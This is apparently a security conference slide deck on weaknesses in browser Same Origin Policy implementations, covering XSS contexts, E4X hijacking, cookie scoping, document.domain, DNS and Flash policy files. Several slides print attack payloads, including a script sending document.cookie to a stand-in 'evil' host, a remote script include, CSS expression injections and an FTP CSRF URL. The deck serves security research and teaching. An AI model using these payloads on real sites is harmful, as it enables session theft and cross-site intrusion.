Same Origin Policy

Weaknesses

kuza55
kuza55@gmail.com
http://kuza55.blogspot.com
whoami

- Alex (aka kuza55)
  - http://kuza55.blogspot.com/
- R&D Team Lead at SIFT
- Student at UNSW
  - http://www.unsw.edu.au/
Outline

► Same Origin Policy (SOP) Intro
► SOP Implementations
  ▪ Some new attacks, some obscure attacks
  ▪ Demos!
► Other Security Policies
► Tool release
SOP Intro

- Not present in the beginning
  - Tacked on later; like most web security
  - Hence ‘Confused Deputy’ or CSRF attacks
- Introduced with the introduction of active content
  - JavaScript/VBScript
- In a nutshell checks that the following 3-tuple describing the origin for ‘communicating’ content:
  - protocol/hostname/port
  - All of these are vital, as changing one may lead to accessing something outside your own control
## SOP Intro

- https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript

<table>
<thead>
<tr>
<th>URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://store.company.com/dir2/other.html">http://store.company.com/dir2/other.html</a></td>
<td>Success</td>
<td></td>
</tr>
<tr>
<td><a href="http://store.company.com/dir/inner/another.html">http://store.company.com/dir/inner/another.html</a></td>
<td>Success</td>
<td></td>
</tr>
<tr>
<td><a href="https://store.company.com/secure.html">https://store.company.com/secure.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://store.company.com:81/dir/etc.html">http://store.company.com:81/dir/etc.html</a></td>
<td>Failure</td>
<td>Different port</td>
</tr>
<tr>
<td><a href="http://news.company.com/dir/other.html">http://news.company.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
</tbody>
</table>
The Obvious Answers

► Complete SOP Bypasses
  ▪ Many exploits found over the years
  ▪ Continue to be found in latest browsers
  ▪ Not covered in this talk

► Partial Bypass
  ▪ Completely bypass certain boundaries in certain conditions
    ▪ Covered in this talk
  ▪ Read or write certain elements across all sites
    ▪ Not covered in this talk

► ‘Spoofing’ your origin by putting your code on the target domain (XSS)
  ▪ The focus of this talk
Understanding Context

► Common knowledge that XSS happens when script is included on the target domain
  ▪ Why is this so?

► The JavaScript SOP implementation works by checking the origin a script is embedded in
  ▪ Irrelevant for many injections, e.g.
    ▪ `<script>location='http://evil/?c='+escape(document.cookie)</script>`
  ▪ Relevant for others:
    ▪ `<script src="http://evil.com/s"></script>`
Understanding Context #2

► Hence injections into JavaScript files:
  ▪ alert("<injection>");

Are not an issue if it is served as text/plain

► However this code is and issue:
  ▪ some_func("<sensitive_data>");

As we can do this:
  ▪ <script>some_func = function (a) { location = 'log?' + a };</script>
    <script src="http://good.com/sensitive.js"></script>
Active and Passive Contexts

► ‘Contexts’ are important when we load something from a URL
► Browser components can be grouped into two categories:
  ▪ Active components
    ▶ HTML
    ▶ Code Injection
  ▪ Passive components
    ▶ JavaScript
    ▶ Information Leakage
How do you invoke the HTML Component?
- Redirects or links or any navigation
- `<iframe` or `<object` tag

HTML must be an ‘active’ component
- Otherwise JavaScript/etc can read the contents

Hence HTML Injection/XSS
- Lots of effort spent examining the HTML parser to determine how we can inject data
  - [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html) (getting out of date now)
From the W3C Spec on OBJECT tags:

- "If the value of this attribute [type] differs from the HTTP Content-Type returned by the server when the object is retrieved, the HTTP Content-Type takes precedence."
  - [http://www.w3.org/TR/REC-html40/struct(objects.html#h-13.3](http://www.w3.org/TR/REC-html40/struct/objects.html#h-13.3)
- All browsers seem to implement this 😞
  - So we cannot just tell a browser an image is a html file
Quick Detour: FindMimeFromData

- IE uses the FindMimeFromData function to determine what type of content a response ‘really’ is
- Valid images could be constructed that when viewed via iframes/object tags/redirection were rendered as html
- A good description can be found here: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting
- Can no longer go from GIF/JPG/PNG to HTML though
JavaScript Hijacking Advances

► E4X Support in Firefox allows JavaScript constructs like:
  - var x = <contact><name>John Doe</name><mail>jdoe@example.com</mail></contact>;
    alert(x);

► And more interestingly:
  - a = <name>{get_name();}</name><mail>none</mail>

► Which allows injections into html/xml to leak data like so:

I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
JavaScript Hijacking Advances

```html
<html>
<body>
  Non-JavaScript text
  Something completely non-parseable - 1 2 3 **** }
...
{
  x =  <- attacker-supplied
  ...  
  Sensitive data in valid HTML/XML format
  ...

}  <- static or attacker-supplied
</body>
</html>
```

I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
JavaScript Hijacking Advances

► E4X HTML Hijacking Caveats
  ▪ XML Parser is very strict and does not parse tags that it thinks are invalid, such as:
    ► <?xml ...>
      ▪ https://bugzilla.mozilla.org/show_bug.cgi?id=336551
    ► <!DOCTYPE ...
      ▪ No plans to allow this
  ▪ The document contains no unclosed tags such as <br>
  ▪ All the attributes in the document must be quoted using single ('') or double quotes ("")
  ▪ Only one instruction allowed in a constructor

I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
Other Components

- HTTP Parser
- CSS Parser
- Flash VM
- Java Applet VM
- Google Gears Web Workers
  - Should be implemented in next Firefox release too
HTTP Parser

► Active Context
  ▪ All response headers apply to the specific resource
  ▪ Straight Injection Attacks using \r\n
    ▶ Header Injection
    ▶ HTTP Response Splitting

► Trickier Attacks
  ▶ Several good papers:
    ▪ ‘The HTML Form Protocol attack’
    ▪ ‘The Extended HTML Form attack’
    ▪ ‘Inter-Protocol Communication’
    ▪ ‘The Extended HTML Form attack revisited’
Trickier HTTP Attacks

► Point the HTTP parser at a non-HTTP port
  ▪ HTTP Parser tries to parse response as http
  ▪ Headers, HTML, XSS, etc can be injected into the context of the non-HTTP port, e.g.
    ▶ http://irc.freenode.net:6667/
    ▶ SOP policy should make this irrelevant, but it doesn’t
      ▪ More on why this is so at the end
  ▪ Possible to ‘XSS’ many non-HTTP services
    ▶ IRC, SMTP, IMAP, many other plaintext protocols
Quick Detour: FTP CSRF

- Found by Maksymilian Arciemowicz
  - http://securityreason.com/achievement_securityalert/56
- Using long FTP URLs, it is possible to perform CSRF attacks against FTP servers
  - `<img src="ftp://////////...../////SITE %20CHMOD%207777%20FILENAME">`
  - Command is truncated at 500 chars, rest of URL is interpreted as extra FTP command
- Awesome!
CSS Parser

- Not really considered active content
- Passive *context*
  - We can read css remotely
    - Parser does not seem to be lenient enough to do information leaks
    - However we can still check for existence of css files using only ‘conditional’ css
      - Useful to detect installed Firefox extensions, e.g. NoScript
      - Useful to determine whether an website administrator is logged in
  - We can also inject CSS `<style>` tags in HTML
CSS Injection

- Typically just jump into JavaScript
  - x:expression(alert(document.cookie))
  - -moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")

- Eduardo “sirdarckcat” Vela and Stefano “WiSec” Di Paola found that CSS can read the page
  - Using CSS 3 Selectors CSRF tokens/nonces, etc can be read from the page
    - Is slow, but not blocked by NoScript, etc
    - http://www.th espanner.co.uk/wp-content/uploads/2008/10/the_
Flash VM

► Flash is an active context component
  ▪ Based on site it is loaded from
    ▪ Mostly
      ▪ Can execute JavaScript in the passive context

► Can make requests with cookies, etc to the active context (where it was loaded from)

► Moderately strict file parser
  ▪ Does not check Content-Type of response
  ▪ Ignores Content-Disposition
  ▪ File must start with CWS or FWS file signature
  ▪ Extra data can be appended to SWF’s due to file format
Flash VM

► So if we can upload Flash files, we can XSS the server
  ▪ Exploit Demo! (Gmail)

► Also, if we can inject into the start of a response
  ▪ PoC!
Flash VM

- Flash VM allows cross-domain communication via ‘policy files’ hosted on sites allowing cross-domain communication
- Policy files are loaded by URL (LoadPolicyFile function)
  - Are ‘active context’ (obviously)
- Policy files are just XML
  - Parser was originally VERY lenient
    - Has been tightened up to stop these attacks
    - Still possible, but need to control root node of XML file
Java VM

► Java is very similar to Flash
  ▪ Has active context for communicating with the hosting domain
  ▪ Has passive context for JavaScript execution

► Moderately strict file parser
  ▪ Does not check Content-Type of response
  ▪ Ignores Content-Disposition
  ▪ Content read from end of file
    ▪ Can construct a file that is a GIF and a JAR

► PoC at http://pseudo-flaw.net/content/web-browsers/corrupted-jars/
Google Gears Web Workers

What is Google Gears?

- A set of JavaScript APIs
- A browser plugin
- Contained in Google Chrome by default

‘Web Workers’ allow background execution of JavaScript

‘Web Workers’ will be included in Firefox 3.1
Google Gears Web Workers

▶ ‘Web Workers’ JavaScript can be loaded from a URL
  ▪ Has an active context

▶ Uses the browser’s native JavaScript engine
  ▪ Supports E4X in Firefox

▶ JavaScript parsers are very liberal
  ▪ Can be XML in Firefox
    ▪ Demo!

  ▪ Can be valid image files
    ▪ Demo!
Conclusion 1

- The fact that something implements the SOP doesn’t mean the security of the web is not changed.
- By classifying components as active or passive, we can infer the added security risks via analysis of the parser leniency.
- We should be evaluating all new plugins on their context and file format strictness.
- Users should not be able to upload files to sensitive domains.
  - Upload all user files to another domain and use random file names so that they can not be easily enumerated.
Conditional SOP Bypasses

- Browsers contain many, many components
  - Not all of them implement the SOP
- Many of them have their own security policies
- Sometimes the SOP is not enough to protect sites
  - Even when they are bug-free
- I will examine some of these components
What is a cookie?
- It’s a name value pair stored on the client
- It is sent only to the domain it was set for
- And that’s all most developers know

Here is what a cookie looks like when it is set:
- Set-Cookie: NAME=VALUE[; expires=DATE][; path=PATH][; domain=DOMAIN_NAME][; secure][; httpOnly]

Here is what a cookie looks like when it is sent:
- Cookie: NAME=VALUE[,] NAME=VALUE]
Cookies

But where does a cookie actually get sent?

- The browser does a ‘domain-match’ which means:
  - Domain A Matches Domain B if:
    - The domains are identical, or
    - A is a FQDN string and has the form NB, B has the form .B’, and B’ is a FQDN string.
    - (So, x.y.com domain-matches .y.com but not y.com)
  - A browser sends a cookie if the domain the user is going to (A) domain-matches the domain in the cookie (B)
Cookies

So cookies set for .microsoft.com are sent to subdomain.microsoft.com

Who can set cookies?
- A host (A) can set cookies for any domain (B) that it domain-matches

So subdomain.microsoft.com can set cookies for .microsoft.com
- But not for .com (two-dot rule)
Cookies

- But the two-dot rule doesn’t work for registries like .co.uk since they do have two dots
  - Browsers have reacted differently
    - IE doesn’t allow cookies for (com|net|org).yy or xx.yy (unless they are in a whitelist)
    - Firefox 2 and Safari have no protections
    - Firefox 3 has a massive (but incomplete list)
    - Opera does DNS resolution on the cookie domain (B)
Cookies

- So on Firefox2 and Safari you can set cookies for any domain not on the com, net, org TLDs
- In all browsers sub1.domain.com can set cookies for .domain.com which also get sent to sub2.domain.com
- By abusing the path attribute we can effectively over-write cookies very specifically, or for the whole domain by setting lots of them
  - Useful for exploitation of some XSS vulnerabilities
Cookies

- The secure attributes only lets cookies be transmitted over SSL
  - However this does not prevent sites setting more specific cookies than the secure cookies which sites will use instead of secure cookies
- The httpOnly attribute doesn’t let JavaScript access cookies
  - You can however access the cookie via XHR as it is being sent, so it is ineffective on sites which regenerate cookies
- On Firefox and Opera we can delete all the user’s cookies by exhausting the global limit on how many cookies can be stored
- More detailed info at http://kuza55.blogspot.com/2008/02/understanding-cookie-
document.domain is a read/write JavaScript property which is set to the domain of the current page.

This property can be set to any parent domain:
- www.test.com can set it to test.com or .com (though .com is sometimes not allowed).

To check whether sites can communicate two checks must be passed (usually):
- The document.domain’s are both the same.
- Either both document.domain properties have been altered, or neither have.

Many sites alter the domain to allow this explicitly:
- MySpace
- Live.com
- Yahoo!
Bringing Down the Walls: document.domain

► However these is a bug in IE
  ▪ Known & Unpatched for >1 year
    ▶ Finally patched in IE8 Beta 2
  ▪ If a website reads the location.href property, IE will think the document.domain property has been altered
    ▶ Many scripts read this property
      ▪ Google Analytics
  ▪ I have also been told there are similar bugs, but do not know their details
    ▶ We can determine this as a black box
      ▪ Load every URL, submit every form and simply check

► So any parent domains which read location.href anywhere at all effectively trust all child domains
Heterogeneous DNS Records

- DNS servers do not necessarily have the same records, e.g.
  - A Company may have a wildcard DNS record for *.company.com resolving to 12.34.56.78
  - If they now create a website at internal.company.com but only place that record on the internal DNS server
  - If *.company.com is vulnerable to XSS, then so is internal.company.com when resolved externally
    - Think laptops
    - Think `persistent` payloads
Heterogeneous DNS Records

- It seems increasingly common for infrastructure providers to hijack DNS
  - Network Solutions hijacked their customers’ subdomains to serve ads (Techcrunch)
  - Earthlink and Comcast hijacked the subdomains of all sites on the internet and served ads to their customers (Kaminsky)
  - Both cases were XSS-able, the NetSol equivalent trivially so
    - Abusing cookie and document.domain issue, this becomes very bad for security
Many domains inadvertently have a localhost.domain.com address pointing to 127.0.0.1 (Travis Ormandy)

- localhost.microsoft.com used to

Many internal hosts resolve externally

- Domains now resolve to IPs which are not controlled by domain owner
  - e.g. 10.13.37.43
Ambiguous IP Addresses in DNS

- Exploitable in few scenarios
  - Multi-User system
  - XSS-able service on 127.0.0.1 (Travis Ormandy)
    - Local Machine
    - HTTP proxy
  - Attacker on the same local net
    - More feasible on switched networks, or if DNSSEC is ever implemented
  - Vulnerable machine at exact IP on victim’s local net
    - If you find one (somewhat unlikely), it is possible to use Anti-DNS Pinning/DNS Rebinding in browsers to find an XSS in that IP on-the-fly
Flash and Silverlight
crossdomain.xml

- crossdomain.xml files let you allow cross-domain communication via Flash and now Silverlight
- They look like this:
  - `<cross-domain-policy>`
  - `<allow-access-from domain="www.domain.com" />`
  - `</cross-domain-policy>`
- Allow wildcard domains
  - e.g. `*.yahoo.com`
    - [http://www.yahoo.com/crossdomain.xml](http://www.yahoo.com/crossdomain.xml)
- Does *not* allow cross-port communications, port default to 80 if not supplied
Flash crossdomain.xml

- Flash allows cross-protocol communication if the secure="false" attribute is added to crossdomain.xml

- Flash also allows policy files in directories other than the root to be loaded using the LoadPolicyFile function
  - e.g. http://www.site.com/path/to/policy/file/crossdomain.xml

- Adobe just patched my directory traversal, can you find another?
  - http://www.site.com/path/to/policy/file/%3f/..\ ..\ ..\ ..\ ..\ path\ from\ root.aspx
IE By-Design SOP Bypasses

► IE does not support the SOP completely
  ▪ Prefers its own ‘Security Zone’ Model/Policy

► By Design Weaknesses
  ▪ MSXML2.XMLHTTP.6.0 and related components
  ▪ ActiveX SiteLock
  ▪ No Port Restrictions on JavaScript, etc
MSXML2.XMLHTTP.6.0 and related components

► IE allows old ActiveX controls to be accessed
  ▪ e.g. MSXML2.XMLHTTP.6.0

► MSXML2.XMLHTTP.6.0 is a standard XHR object that does not enforce port restrictions

► MSXML2.XMLHTTP.3.0 can be accessed on some computers
  ▪ Documented to allow cross-protocol communications; Not in the latest version though
ActiveX SiteLock

- Designed to lock sites to domains
- Allows wildcard domains to be specified
- XSS-ing a non-active site may let you exploit an otherwise non-exploitable ActiveX bug
No Port Restrictions on JavaScript, etc

► Microsoft does not consider port restrictions security sensitive

   ▪ Does not enforce them in lots of components
     ► e.g. Plain Old JavaScript!
       ▪ `<iframe src="http://www.good.com:8080/server.php" onload="alert(window.frames[0].document.cookie);"> </iframe>`
     ▪ Demo!

   ▪ Particularly interesting when combined with:
     ► Non-HTTP XSS
     ► document.domain issues
     ► ActiveX SiteLock
Conclusion 2

► Even without global SOP bypasses, we can still traverse lots of boundaries

► We need to think of XSS’ affects beyond a single origin when writing exploits
  ▪ XSS in ‘brochure-ware’ sites becomes relevant
Tool Release

► Flash-based user-as-a-proxy payload
  ▪ Demo

► Google Gears user-as-a-proxy payload

► Unlocked document.domain checker
  ▪ Demo
This presentation is not the end of this research
Still lots of things to examine
- Silverlight
- IE Zone Policy
- In depth analysis of all the file parsers mentioned here
  - My (and other researchers’) analysis is fairly naïve and black-box
- Every other common ActiveX component and add-on